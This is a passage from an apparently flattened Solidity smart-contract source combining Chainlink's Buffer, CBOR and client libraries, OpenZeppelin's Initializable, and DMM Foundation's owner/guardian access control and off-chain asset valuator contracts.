offset to write at. * @param data The data to append. * @param len The number of bytes to write (left-aligned). * @return The original buffer, for chaining. */ function write(buffer memory buf, uint off, bytes32 data, uint len) private pure returns(buffer memory) { if (len + off > buf.capacity) { resize(buf, (len + off) * 2); } uint mask = 256 ** len - 1; // Right-align data data = data >> (8 * (32 - len)); assembly { // Memory address of the buffer data let bufptr := mload(buf) // Address = buffer address + sizeof(buffer length) + off + len let dest := add(add(bufptr, off), len) mstore(dest, or(and(mload(dest), not(mask)), data)) // Update buffer length if we extended it if gt(add(off, len), mload(bufptr)) { mstore(bufptr, add(off, len)) } } return buf; } /** * @dev Writes a bytes20 to the buffer. Resizes if doing so would exceed the * capacity of the buffer. * @param buf The buffer to append to. * @param off The offset to write at. * @param data The data to append. * @return The original buffer, for chaining. */ function writeBytes20(buffer memory buf, uint off, bytes20 data) internal pure returns (buffer memory) { return write(buf, off, bytes32(data), 20); } /** * @dev Appends a bytes20 to the buffer. Resizes if doing so would exceed * the capacity of the buffer. * @param buf The buffer to append to. * @param data The data to append. * @return The original buffer, for chhaining. */ function appendBytes20(buffer memory buf, bytes20 data) internal pure returns (buffer memory) { return write(buf, buf.buf.length, bytes32(data), 20); } /** * @dev Appends a bytes32 to the buffer. Resizes if doing so would exceed * the capacity of the buffer. * @param buf The buffer to append to. * @param data The data to append. * @return The original buffer, for chaining. */ function appendBytes32(buffer memory buf, bytes32 data) internal pure returns (buffer memory) { return write(buf, buf.buf.length, data, 32); } /** * @dev Writes an integer to the buffer. Resizes if doing so would exceed * the capacity of the buffer. * @param buf The buffer to append to. * @param off The offset to write at. * @param data The data to append. * @param len The number of bytes to write (right-aligned). * @return The original buffer, for chaining. */ function writeInt(buffer memory buf, uint off, uint data, uint len) private pure returns(buffer memory) { if (len + off > buf.capacity) { resize(buf, (len + off) * 2); } uint mask = 256 ** len - 1; assembly { // Memory address of the buffer data let bufptr := mload(buf) // Address = buffer address + off + sizeof(buffer length) + len let dest := add(add(bufptr, off), len) mstore(dest, or(and(mload(dest), not(mask)), data)) // Update buffer length if we extended it if gt(add(off, len), mload(bufptr)) { mstore(bufptr, add(off, len)) } } return buf; } /** * @dev Appends a byte to the end of the buffer. Resizes if doing so would * exceed the capacity of the buffer. * @param buf The buffer to append to. * @param data The data to append. * @return The original buffer. */ function appendInt(buffer memory buf, uint data, uint len) internal pure returns(buffer memory) { return writeInt(buf, buf.buf.length, data, len); } } // File: chainlink/v0.5/contracts/vendor/CBOR.sol pragma solidity ^0.5.0; library CBOR { using Buffer for Buffer.buffer; uint8 private constant MAJOR_TYPE_INT = 0; uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1; uint8 private constant MAJOR_TYPE_BYTES = 2; uint8 private constant MAJOR_TYPE_STRING = 3; uint8 private constant MAJOR_TYPE_ARRAY = 4; uint8 private constant MAJOR_TYPE_MAP = 5; uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7; function encodeType(Buffer.buffer memory buf, uint8 major, uint value) private pure { if(value <= 23) { buf.appendUint8(uint8((major << 5) | value)); } else if(value <= 0xFF) { buf.appendUint8(uint8((major << 5) | 24)); buf.appendInt(value, 1); } else if(value <= 0xFFFF) { buf.appendUint8(uint8((major << 5) | 25)); buf.appendInt(value, 2); } else if(value <= 0xFFFFFFFF) { buf.appendUint8(uint8((major << 5) | 26)); buf.appendInt(value, 4); } else if(value <= 0xFFFFFFFFFFFFFFFF) { buf.appendUint8(uint8((major << 5) | 27)); buf.appendInt(value, 8); } } function encodeIndefiniteLengthType(Buffer.buffer memory buf, uint8 major) private pure { buf.appendUint8(uint8((major << 5) | 31)); } function encodeUInt(Buffer.buffer memory buf, uint value) internal pure { encodeType(buf, MAJOR_TYPE_INT, value); } function encodeInt(Buffer.buffer memory buf, int value) internal pure { if(value >= 0) { encodeType(buf, MAJOR_TYPE_INT, uint(value)); } else { encodeType(buf, MAJOR_TYPE_NEGATIVE_INT, uint(-1 - value)); } } function encodeBytes(Buffer.buffer memory buf, bytes memory value) internal pure { encodeType(buf, MAJOR_TYPE_BYTES, value.length); buf.append(value); } function encodeString(Buffer.buffer memory buf, string memory value) internal pure { encodeType(buf, MAJOR_TYPE_STRING, bytes(value).length); buf.append(bytes(value)); } function startArray(Buffer.buffer memory buf) internal pure { encodeIndefiniteLengthType(buf, MAJOR_TYPE_ARRAY); } function startMap(Buffer.buffer memory buf) internal pure { encodeIndefiniteLengthType(buf, MAJOR_TYPE_MAP); } function endSequence(Buffer.buffer memory buf) internal pure { encodeIndefiniteLengthType(buf, MAJOR_TYPE_CONTENT_FREE); } } // File: chainlink/v0.5/contracts/Chainlink.sol pragma solidity ^0.5.0; /** * @title Library for common Chainlink functions * @dev Uses imported CBOR library for encoding to buffer */ library Chainlink { uint256 internal constant defaultBufferSize = 256; // solhint-disable-line const-name-snakecase using CBOR for Buffer.buffer; struct Request { bytes32 id; address callbackAddress; bytes4 callbackFunctionId; uint256 nonce; Buffer.buffer buf; } /** * @notice Initializes a Chainlink request * @dev Sets the ID, callback address, and callback function signature on the request * @param self The uninitialized request * @param _id The Job Specification ID * @param _callbackAddress The callback address * @param _callbackFunction The callback function signature * @return The initialized request */ function initialize( Request memory self, bytes32 _id, address _callbackAddress, bytes4 _callbackFunction ) internal pure returns (Chainlink.Request memory) { Buffer.init(self.buf, defaultBufferSize); self.id = _id; self.callbackAddress = _callbackAddress; self.callbackFunctionId = _callbackFunction; return self; } /** * @notice Sets the data for the buffer without encoding CBOR on-chain * @dev CBOR can be closed with curly-brackets {} or they can be left off * @param self The initialized request * @param _data The CBOR data */ function setBuffer(Request memory self, bytes memory _data) internal pure { Buffer.init(self.buf, _data.length); Buffer.append(self.buf, _data); } /** * @notice Adds a string value to the request with a given key name * @param self The initialized request * @param _key The name of the key * @param _value The string value to add */ function add(Request memory self, string memory _key, string memory _value) internal pure { self.buf.encodeString(_key); self.buf.encodeString(_value); } /** * @notice Adds a bytes value to the request with a given key name * @param self The initialized request * @param _key The name of the key * @param _value The bytes value to add */ function addBytes(Request memory self, string memory _key, bytes memory _value) internal pure { self.buf.encodeString(_key); self.buf.encodeBytes(_value); } /** * @notice Adds a int256 value to the request with a given key name * @param self The initialized request * @param _key The name of the key * @param _value The int256 value to add */ function addInt(Request memory self, string memory _key, int256 _value) internal pure { self.buf.encodeString(_key); self.buf.encodeInt(_value); } /** * @notice Adds a uint256 value to the request with a given key name * @param self The initialized request * @param _key The name of the key * @param _value The uint256 value to add */ function addUint(Request memory self, string memory _key, uint256 _value) internal pure { self.buf.encodeString(_key); self.buf.encodeUInt(_value); } /** * @notice Adds an array of strings to the request with a given key name * @param self The initialized request * @param _key The name of the key * @param _values The array of string values to add */ function addStringArray(Request memory self, string memory _key, string[] memory _values) internal pure { self.buf.encodeString(_key); self.buf.startArray(); for (uint256 i = 0; i < _values.length; i++) { self.buf.encodeString(_values[i]); } self.buf.endSequence(); } } // File: chainlink/v0.5/contracts/interfaces/ENSInterface.sol pragma solidity ^0.5.0; interface ENSInterface { // Logged when the owner of a node assigns a new owner to a subnode. event NewOwner(bytes32 indexed node, bytes32 indexed label, address owner); // Logged when the owner of a node transfers ownership to a new account. event Transfer(bytes32 indexed node, address owner); // Logged when the resolver for a node changes. event NewResolver(bytes32 indexed node, address resolver); // Logged when the TTL of a node changes event NewTTL(bytes32 indexed node, uint64 ttl); function setSubnodeOwner(bytes32 node, bytes32 label, address _owner) external; function setResolver(bytes32 node, address _resolver) external; function setOwner(bytes32 node, address _owner) external; function setTTL(bytes32 node, uint64 _ttl) external; function owner(bytes32 node) external view returns (address); function resolver(bytes32 node) external view returns (address); function ttl(bytes32 node) external view returns (uint64); } // File: chainlink/v0.5/contracts/interfaces/LinkTokenInterface.sol pragma solidity ^0.5.0; interface LinkTokenInterface { function allowance(address owner, address spender) external returns (uint256 remaining); function approve(address spender, uint256 value) external returns (bool success); function balanceOf(address owner) external returns (uint256 balance); function decimals() external returns (uint8 decimalPlaces); function decreaseApproval(address spender, uint256 addedValue) external returns (bool success); function increaseApproval(address spender, uint256 subtractedValue) external; function name() external returns (string memory tokenName); function symbol() external returns (string memory tokenSymbol); function totalSupply() external returns (uint256 totalTokensIssued); function transfer(address to, uint256 value) external returns (bool success); function transferAndCall(address to, uint256 value, bytes calldata data) external returns (bool success); function transferFrom(address from, address to, uint256 value) external returns (bool success); } // File: chainlink/v0.5/contracts/interfaces/ChainlinkRequestInterface.sol pragma solidity ^0.5.0; interface ChainlinkRequestInterface { function oracleRequest( address sender, uint256 requestPrice, bytes32 serviceAgreementID, address callbackAddress, bytes4 callbackFunctionId, uint256 nonce, uint256 dataVersion, // Currently unused, always "1" bytes calldata data ) external; function cancelOracleRequest( bytes32 requestId, uint256 payment, bytes4 callbackFunctionId, uint256 expiration ) external; } // File: chainlink/v0.5/contracts/interfaces/PointerInterface.sol pragma solidity ^0.5.0; interface PointerInterface { function getAddress() external view returns (address); } // File: chainlink/v0.5/contracts/vendor/ENSResolver.sol pragma solidity ^0.5.0; contract ENSResolver { function addr(bytes32 node) public view returns (address); } // File: chainlink/v0.5/contracts/vendor/SafeMath.sol pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ // File: chainlink/v0.5/contracts/ChainlinkClient.sol pragma solidity ^0.5.0; /** * @title The ChainlinkClient contract * @notice Contract writers can inherit this contract in order to create requests for the * Chainlink network */ contract ChainlinkClient { using Chainlink for Chainlink.Request; using SafeMath for uint256; uint256 constant internal LINK = 10**18; uint256 constant private AMOUNT_OVERRIDE = 0; address constant private SENDER_OVERRIDE = address(0); uint256 constant private ARGS_VERSION = 1; bytes32 constant private ENS_TOKEN_SUBNAME = keccak256("link"); bytes32 constant private ENS_ORACLE_SUBNAME = keccak256("oracle"); address constant private LINK_TOKEN_POINTER = 0xC89bD4E1632D3A43CB03AAAd5262cbe4038Bc571; ENSInterface private ens; bytes32 private ensNode; LinkTokenInterface private link; ChainlinkRequestInterface private oracle; uint256 private requestCount = 1; mapping(bytes32 => address) private pendingRequests; event ChainlinkRequested(bytes32 indexed id); event ChainlinkFulfilled(bytes32 indexed id); event ChainlinkCancelled(bytes32 indexed id); /** * @notice Creates a request that can hold additional parameters * @param _specId The Job Specification ID that the request will be created for * @param _callbackAddress The callback address that the response will be sent to * @param _callbackFunctionSignature The callback function signature to use for the callback address * @return A Chainlink Request struct in memory */ function buildChainlinkRequest( bytes32 _specId, address _callbackAddress, bytes4 _callbackFunctionSignature ) internal pure returns (Chainlink.Request memory) { Chainlink.Request memory req; return req.initialize(_specId, _callbackAddress, _callbackFunctionSignature); } /** * @notice Creates a Chainlink request to the stored oracle address * @dev Calls `chainlinkRequestTo` with the stored oracle address * @param _req The initialized Chainlink Request * @param _payment The amount of LINK to send for the request * @return The request ID */ function sendChainlinkRequest(Chainlink.Request memory _req, uint256 _payment) internal returns (bytes32) { return sendChainlinkRequestTo(address(oracle), _req, _payment); } /** * @notice Creates a Chainlink request to the specified oracle address * @dev Generates and stores a request ID, increments the local nonce, and uses `transferAndCall` to * send LINK which creates a request on the target oracle contract. * Emits ChainlinkRequested event. * @param _oracle The address of the oracle for the request * @param _req The initialized Chainlink Request * @param _payment The amount of LINK to send for the request * @return The request ID */ function sendChainlinkRequestTo(address _oracle, Chainlink.Request memory _req, uint256 _payment) internal returns (bytes32 requestId) { requestId = keccak256(abi.encodePacked(this, requestCount)); _req.nonce = requestCount; pendingRequests[requestId] = _oracle; emit ChainlinkRequested(requestId); require(link.transferAndCall(_oracle, _payment, encodeRequest(_req)), "unable to transferAndCall to oracle"); requestCount += 1; return requestId; } /** * @notice Allows a request to be cancelled if it has not been fulfilled * @dev Requires keeping track of the expiration value emitted from the oracle contract. * Deletes the request from the `pendingRequests` mapping. * Emits ChainlinkCancelled event. * @param _requestId The request ID * @param _payment The amount of LINK sent for the request * @param _callbackFunc The callback function specified for the request * @param _expiration The time of the expiration for the request */ function cancelChainlinkRequest( bytes32 _requestId, uint256 _payment, bytes4 _callbackFunc, uint256 _expiration ) internal { ChainlinkRequestInterface requested = ChainlinkRequestInterface(pendingRequests[_requestId]); delete pendingRequests[_requestId]; emit ChainlinkCancelled(_requestId); requested.cancelOracleRequest(_requestId, _payment, _callbackFunc, _expiration); } /** * @notice Sets the stored oracle address * @param _oracle The address of the oracle contract */ function setChainlinkOracle(address _oracle) internal { oracle = ChainlinkRequestInterface(_oracle); } /** * @notice Sets the LINK token address * @param _link The address of the LINK token contract */ function setChainlinkToken(address _link) internal { link = LinkTokenInterface(_link); } /** * @notice Sets the Chainlink token address for the public * network as given by the Pointer contract */ function setPublicChainlinkToken() internal { setChainlinkToken(PointerInterface(LINK_TOKEN_POINTER).getAddress()); } /** * @notice Retrieves the stored address of the LINK token * @return The address of the LINK token */ function chainlinkTokenAddress() internal view returns (address) { return address(link); } /** * @notice Retrieves the stored address of the oracle contract * @return The address of the oracle contract */ function chainlinkOracleAddress() internal view returns (address) { return address(oracle); } /** * @notice Allows for a request which was created on another contract to be fulfilled * on this contract * @param _oracle The address of the oracle contract that will fulfill the request * @param _requestId The request ID used for the response */ function addChainlinkExternalRequest(address _oracle, bytes32 _requestId) internal notPendingRequest(_requestId) { pendingRequests[_requestId] = _oracle; } /** * @notice Sets the stored oracle and LINK token contracts with the addresses resolved by ENS * @dev Accounts for subnodes having different resolvers * @param _ens The address of the ENS contract * @param _node The ENS node hash */ function useChainlinkWithENS(address _ens, bytes32 _node) internal { ens = ENSInterface(_ens); ensNode = _node; bytes32 linkSubnode = keccak256(abi.encodePacked(ensNode, ENS_TOKEN_SUBNAME)); ENSResolver resolver = ENSResolver(ens.resolver(linkSubnode)); setChainlinkToken(resolver.addr(linkSubnode)); updateChainlinkOracleWithENS(); } /** * @notice Sets the stored oracle contract with the address resolved by ENS * @dev This may be called on its own as long as `useChainlinkWithENS` has been called previously */ function updateChainlinkOracleWithENS() internal { bytes32 oracleSubnode = keccak256(abi.encodePacked(ensNode, ENS_ORACLE_SUBNAME)); ENSResolver resolver = ENSResolver(ens.resolver(oracleSubnode)); setChainlinkOracle(resolver.addr(oracleSubnode)); } /** * @notice Encodes the request to be sent to the oracle contract * @dev The Chainlink node expects values to be in order for the request to be picked up. Order of types * will be validated in the oracle contract. * @param _req The initialized Chainlink Request * @return The bytes payload for the `transferAndCall` method */ function encodeRequest(Chainlink.Request memory _req) private view returns (bytes memory) { return abi.encodeWithSelector( oracle.oracleRequest.selector, SENDER_OVERRIDE, // Sender value - overridden by onTokenTransfer by the requesting contract's address AMOUNT_OVERRIDE, // Amount value - overridden by onTokenTransfer by the actual amount of LINK sent _req.id, _req.callbackAddress, _req.callbackFunctionId, _req.nonce, ARGS_VERSION, _req.buf.buf); } /** * @notice Ensures that the fulfillment is valid for this contract * @dev Use if the contract developer prefers methods instead of modifiers for validation * @param _requestId The request ID for fulfillment */ function validateChainlinkCallback(bytes32 _requestId) internal recordChainlinkFulfillment(_requestId) // solhint-disable-next-line no-empty-blocks {} /** * @dev Reverts if the sender is not the oracle of the request. * Emits ChainlinkFulfilled event. * @param _requestId The request ID for fulfillment */ modifier recordChainlinkFulfillment(bytes32 _requestId) { require(msg.sender == pendingRequests[_requestId], "Source must be the oracle of the request"); delete pendingRequests[_requestId]; emit ChainlinkFulfilled(_requestId); _; } /** * @dev Reverts if the request is already pending * @param _requestId The request ID for fulfillment */ modifier notPendingRequest(bytes32 _requestId) { require(pendingRequests[_requestId] == address(0), "Request is already pending"); _; } } // File: contracts/external/chainlink/UpgradeableChainlinkClient.sol pragma solidity ^0.5.0; /** * @title The ChainlinkClient contract * @notice Contract writers can inherit this contract in order to create requests for the Chainlink network. This file * is a copy/paste of the original Chainlink Client from the SDK to ensure that the state variables, their respective * names, and positions do not change. */ contract UpgradeableChainlinkClient { using Chainlink for Chainlink.Request; using SafeMath for uint256; uint256 constant internal LINK = 10 ** 18; uint256 constant private AMOUNT_OVERRIDE = 0; address constant private SENDER_OVERRIDE = address(0); uint256 constant private ARGS_VERSION = 1; bytes32 constant private ENS_TOKEN_SUBNAME = keccak256("link"); bytes32 constant private ENS_ORACLE_SUBNAME = keccak256("oracle"); address constant private LINK_TOKEN_POINTER = 0xC89bD4E1632D3A43CB03AAAd5262cbe4038Bc571; // ****************************** // ***** DO NOT CHANGE OR MOVE // ****************************** ENSInterface private ens; bytes32 private ensNode; LinkTokenInterface private link; ChainlinkRequestInterface private oracle; uint256 private requestCount = 1; mapping(bytes32 => address) private pendingRequests; // ****************************** // ***** DO NOT CHANGE OR MOVE // ****************************** event ChainlinkRequested(bytes32 indexed id); event ChainlinkFulfilled(bytes32 indexed id); event ChainlinkCancelled(bytes32 indexed id); /** * @notice Creates a request that can hold additional parameters * @param _specId The Job Specification ID that the request will be created for * @param _callbackAddress The callback address that the response will be sent to * @param _callbackFunctionSignature The callback function signature to use for the callback address * @return A Chainlink Request struct in memory */ function buildChainlinkRequest( bytes32 _specId, address _callbackAddress, bytes4 _callbackFunctionSignature ) internal pure returns (Chainlink.Request memory) { Chainlink.Request memory req; return req.initialize(_specId, _callbackAddress, _callbackFunctionSignature); } /** * @notice Creates a Chainlink request to the stored oracle address * @dev Calls `chainlinkRequestTo` with the stored oracle address * @param _req The initialized Chainlink Request * @param _payment The amount of LINK to send for the request * @return The request ID */ function sendChainlinkRequest(Chainlink.Request memory _req, uint256 _payment) internal returns (bytes32) { return sendChainlinkRequestTo(address(oracle), _req, _payment); } /** * @notice Creates a Chainlink request to the specified oracle address * @dev Generates and stores a request ID, increments the local nonce, and uses `transferAndCall` to * send LINK which creates a request on the target oracle contract. * Emits ChainlinkRequested event. * @param _oracle The address of the oracle for the request * @param _req The initialized Chainlink Request * @param _payment The amount of LINK to send for the request * @return The request ID */ function sendChainlinkRequestTo(address _oracle, Chainlink.Request memory _req, uint256 _payment) internal returns (bytes32 requestId) { requestId = keccak256(abi.encodePacked(this, requestCount)); _req.nonce = requestCount; pendingRequests[requestId] = _oracle; emit ChainlinkRequested(requestId); require(link.transferAndCall(_oracle, _payment, encodeRequest(_req)), "unable to transferAndCall to oracle"); requestCount += 1; return requestId; } /** * @notice Allows a request to be cancelled if it has not been fulfilled * @dev Requires keeping track of the expiration value emitted from the oracle contract. * Deletes the request from the `pendingRequests` mapping. * Emits ChainlinkCancelled event. * @param _requestId The request ID * @param _payment The amount of LINK sent for the request * @param _callbackFunc The callback function specified for the request * @param _expiration The time of the expiration for the request */ function cancelChainlinkRequest( bytes32 _requestId, uint256 _payment, bytes4 _callbackFunc, uint256 _expiration ) internal { ChainlinkRequestInterface requested = ChainlinkRequestInterface(pendingRequests[_requestId]); delete pendingRequests[_requestId]; emit ChainlinkCancelled(_requestId); requested.cancelOracleRequest(_requestId, _payment, _callbackFunc, _expiration); } /** * @notice Sets the stored oracle address * @param _oracle The address of the oracle contract */ function setChainlinkOracle(address _oracle) internal { oracle = ChainlinkRequestInterface(_oracle); } /** * @notice Sets the LINK token address * @param _link The address of the LINK token contract */ function setChainlinkToken(address _link) internal { link = LinkTokenInterface(_link); } /** * @notice Sets the Chainlink token address for the public * network as given by the Pointer contract */ function setPublicChainlinkToken() internal { setChainlinkToken(PointerInterface(LINK_TOKEN_POINTER).getAddress()); } /** * @notice Retrieves the stored address of the LINK token * @return The address of the LINK token */ function chainlinkTokenAddress() internal view returns (address) { return address(link); } /** * @notice Retrieves the stored address of the oracle contract * @return The address of the oracle contract */ function chainlinkOracleAddress() internal view returns (address) { return address(oracle); } /** * @notice Allows for a request which was created on another contract to be fulfilled * on this contract * @param _oracle The address of the oracle contract that will fulfill the request * @param _requestId The request ID used for the response */ function addChainlinkExternalRequest(address _oracle, bytes32 _requestId) internal notPendingRequest(_requestId) { pendingRequests[_requestId] = _oracle; } /** * @notice Sets the stored oracle and LINK token contracts with the addresses resolved by ENS * @dev Accounts for subnodes having different resolvers * @param _ens The address of the ENS contract * @param _node The ENS node hash */ function useChainlinkWithENS(address _ens, bytes32 _node) internal { ens = ENSInterface(_ens); ensNode = _node; bytes32 linkSubnode = keccak256(abi.encodePacked(ensNode, ENS_TOKEN_SUBNAME)); ENSResolver resolver = ENSResolver(ens.resolver(linkSubnode)); setChainlinkToken(resolver.addr(linkSubnode)); updateChainlinkOracleWithENS(); } /** * @notice Sets the stored oracle contract with the address resolved by ENS * @dev This may be called on its own as long as `useChainlinkWithENS` has been called previously */ function updateChainlinkOracleWithENS() internal { bytes32 oracleSubnode = keccak256(abi.encodePacked(ensNode, ENS_ORACLE_SUBNAME)); ENSResolver resolver = ENSResolver(ens.resolver(oracleSubnode)); setChainlinkOracle(resolver.addr(oracleSubnode)); } /** * @notice Encodes the request to be sent to the oracle contract * @dev The Chainlink node expects values to be in order for the request to be picked up. Order of types * will be validated in the oracle contract. * @param _req The initialized Chainlink Request * @return The bytes payload for the `transferAndCall` method */ function encodeRequest(Chainlink.Request memory _req) private view returns (bytes memory) { return abi.encodeWithSelector( oracle.oracleRequest.selector, SENDER_OVERRIDE, // Sender value - overridden by onTokenTransfer by the requesting contract's address AMOUNT_OVERRIDE, // Amount value - overridden by onTokenTransfer by the actual amount of LINK sent _req.id, _req.callbackAddress, _req.callbackFunctionId, _req.nonce, ARGS_VERSION, _req.buf.buf); } /** * @notice Ensures that the fulfillment is valid for this contract * @dev Use if the contract developer prefers methods instead of modifiers for validation * @param _requestId The request ID for fulfillment */ function validateChainlinkCallback(bytes32 _requestId) internal recordChainlinkFulfillment(_requestId) // solhint-disable-next-line no-empty-blocks {} /** * @dev Reverts if the sender is not the oracle of the request. * Emits ChainlinkFulfilled event. * @param _requestId The request ID for fulfillment */ modifier recordChainlinkFulfillment(bytes32 _requestId) { require(msg.sender == pendingRequests[_requestId], "Source must be the oracle of the request"); delete pendingRequests[_requestId]; emit ChainlinkFulfilled(_requestId); _; } /** * @dev Reverts if the request is already pending * @param _requestId The request ID for fulfillment */ modifier notPendingRequest(bytes32 _requestId) { require(pendingRequests[_requestId] == address(0), "Request is already pending"); _; } } // File: @openzeppelin/upgrades/contracts/Initializable.sol pragma solidity >=0.4.24 <0.7.0; /** * @title Initializable * * @dev Helper contract to support initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. */ contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } // File: contracts/protocol/interfaces/IOwnableOrGuardian.sol /* * Copyright 2020 DMM Foundation * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ pragma solidity ^0.5.0; /** * NOTE: THE STATE VARIABLES IN THIS CONTRACT CANNOT CHANGE NAME OR POSITION BECAUSE THIS CONTRACT IS USED IN * UPGRADEABLE CONTRACTS. */ contract IOwnableOrGuardian is Initializable { event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event GuardianTransferred(address indexed previousGuardian, address indexed newGuardian); modifier onlyOwnerOrGuardian { require( msg.sender == _owner || msg.sender == _guardian, "OwnableOrGuardian: UNAUTHORIZED_OWNER_OR_GUARDIAN" ); _; } modifier onlyOwner { require( msg.sender == _owner, "OwnableOrGuardian: UNAUTHORIZED" ); _; } // ********************************************* // ***** State Variables DO NOT CHANGE OR MOVE // ********************************************* // ****************************** // ***** DO NOT CHANGE OR MOVE // ****************************** address internal _owner; address internal _guardian; // ****************************** // ***** DO NOT CHANGE OR MOVE // ****************************** // ****************************** // ***** Misc Functions // ****************************** function owner() external view returns (address) { return _owner; } function guardian() external view returns (address) { return _guardian; } // ****************************** // ***** Admin Functions // ****************************** function initialize( address owner, address guardian ) public initializer { _transferOwnership(owner); _transferGuardian(guardian); } function transferOwnership( address owner ) public onlyOwner { require( owner != address(0), "OwnableOrGuardian::transferOwnership: INVALID_OWNER" ); _transferOwnership(owner); } function renounceOwnership() public onlyOwner { _transferOwnership(address(0)); } function transferGuardian( address guardian ) public onlyOwner { require( guardian != address(0), "OwnableOrGuardian::transferGuardian: INVALID_OWNER" ); _transferGuardian(guardian); } function renounceGuardian() public onlyOwnerOrGuardian { _transferGuardian(address(0)); } // ****************************** // ***** Internal Functions // ****************************** function _transferOwnership( address owner ) internal { address previousOwner = _owner; _owner = owner; emit OwnershipTransferred(previousOwner, owner); } function _transferGuardian( address guardian ) internal { address previousGuardian = _guardian; _guardian = guardian; emit GuardianTransferred(previousGuardian, guardian); } } // File: contracts/protocol/impl/OwnableOrGuardian.sol /* * Copyright 2020 DMM Foundation * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ pragma solidity ^0.5.0; /** * NOTE: THE STATE VARIABLES IN THIS CONTRACT CANNOT CHANGE NAME OR POSITION BECAUSE THIS CONTRACT IS USED IN * UPGRADEABLE CONTRACTS. */ contract OwnableOrGuardian is IOwnableOrGuardian { constructor( address owner, address guardian ) public { IOwnableOrGuardian.initialize(owner, guardian); } } // File: contracts/protocol/impl/data/OffChainAssetValuatorData.sol /* * Copyright 2020 DMM Foundation * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ pragma solidity ^0.5.0; contract OffChainAssetValuatorData is IOwnableOrGuardian, UpgradeableChainlinkClient { using SafeERC20 for IERC20; // **************************************** // ***** State Variables - DO NOT MODIFY // **************************************** /// The amount of LINK to be paid per request uint internal _oraclePayment; /// The job ID that's fired on the LINK nodes to fulfill this contract's need for off-chain data bytes32 internal _offChainAssetsValueJobId; /// The value of all off-chain collateral, as determined by Chainlink. This number has 18 decimal places of precision. uint internal _offChainAssetsValue; /// The timestamp (in Unix seconds) at which this contract's _offChainAssetsValue field was last updated. uint internal _lastUpdatedTimestamp; /// The block number at which this contract's _offChainAssetsValue field was last updated. uint internal _lastUpdatedBlockNumber; /// All of the supported asset types bytes32[] internal _allAssetTypes; /// All of the supported asset types, represented as a mapping mapping(bytes32 => uint) internal _assetTypeToNumberOfUsesMap; /// A mapping from asset introducer (token ID) to an asset type, to whether or not it's supported. mapping(uint => mapping(bytes32 => bool)) internal _assetIntroducerToAssetTypeToIsSupportedMap; // ************************* // ***** Functions // ************************* function deposit(address token, uint amount) public onlyOwnerOrGuardian { IERC20(token).safeTransferFrom(msg.sender, address(this), amount); } function withdraw(address token, address recipient, uint amount) public onlyOwnerOrGuardian { IERC20(token).safeTransfer(recipient, amount); } } // File: contracts/protocol/impl/OffChainAssetValuatorImplV2.sol /* * Copyright 2020 DMM Foundation * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ pragma solidity ^0.5.0; contract OffChainAssetValuatorImplV2 is IOffChainAssetValuatorV2, OffChainAssetValuatorData { // ************************* // ***** Admin Functions // ************************* function initialize( address owner, address guardian, address linkToken, uint oraclePayment, uint offChainAssetsValue, bytes32 offChainAssetsValueJobId ) external initializer { IOwnableOrGuardian.initialize(owner, guardian); setChainlinkToken(linkToken); _oraclePayment = oraclePayment; _offChainAssetsValueJobId = offChainAssetsValueJobId; _offChainAssetsValue = offChainAssetsValue; _lastUpdatedTimestamp = block.timestamp; _lastUpdatedBlockNumber = block.number; } function addSupportedAssetTypeByTokenId( uint tokenId, string calldata assetType ) external onlyOwnerOrGuardian { bytes32 bytesAssetType = _sanitizeAndConvertAssetTypeToBytes(assetType); require( !_assetIntroducerToAssetTypeToIsSupportedMap[tokenId][bytesAssetType], "OffChainAssetValuatorImplV2::addSupportedAssetTypeByTokenId: ALREADY_SUPPORTED" ); uint numberOfUses = 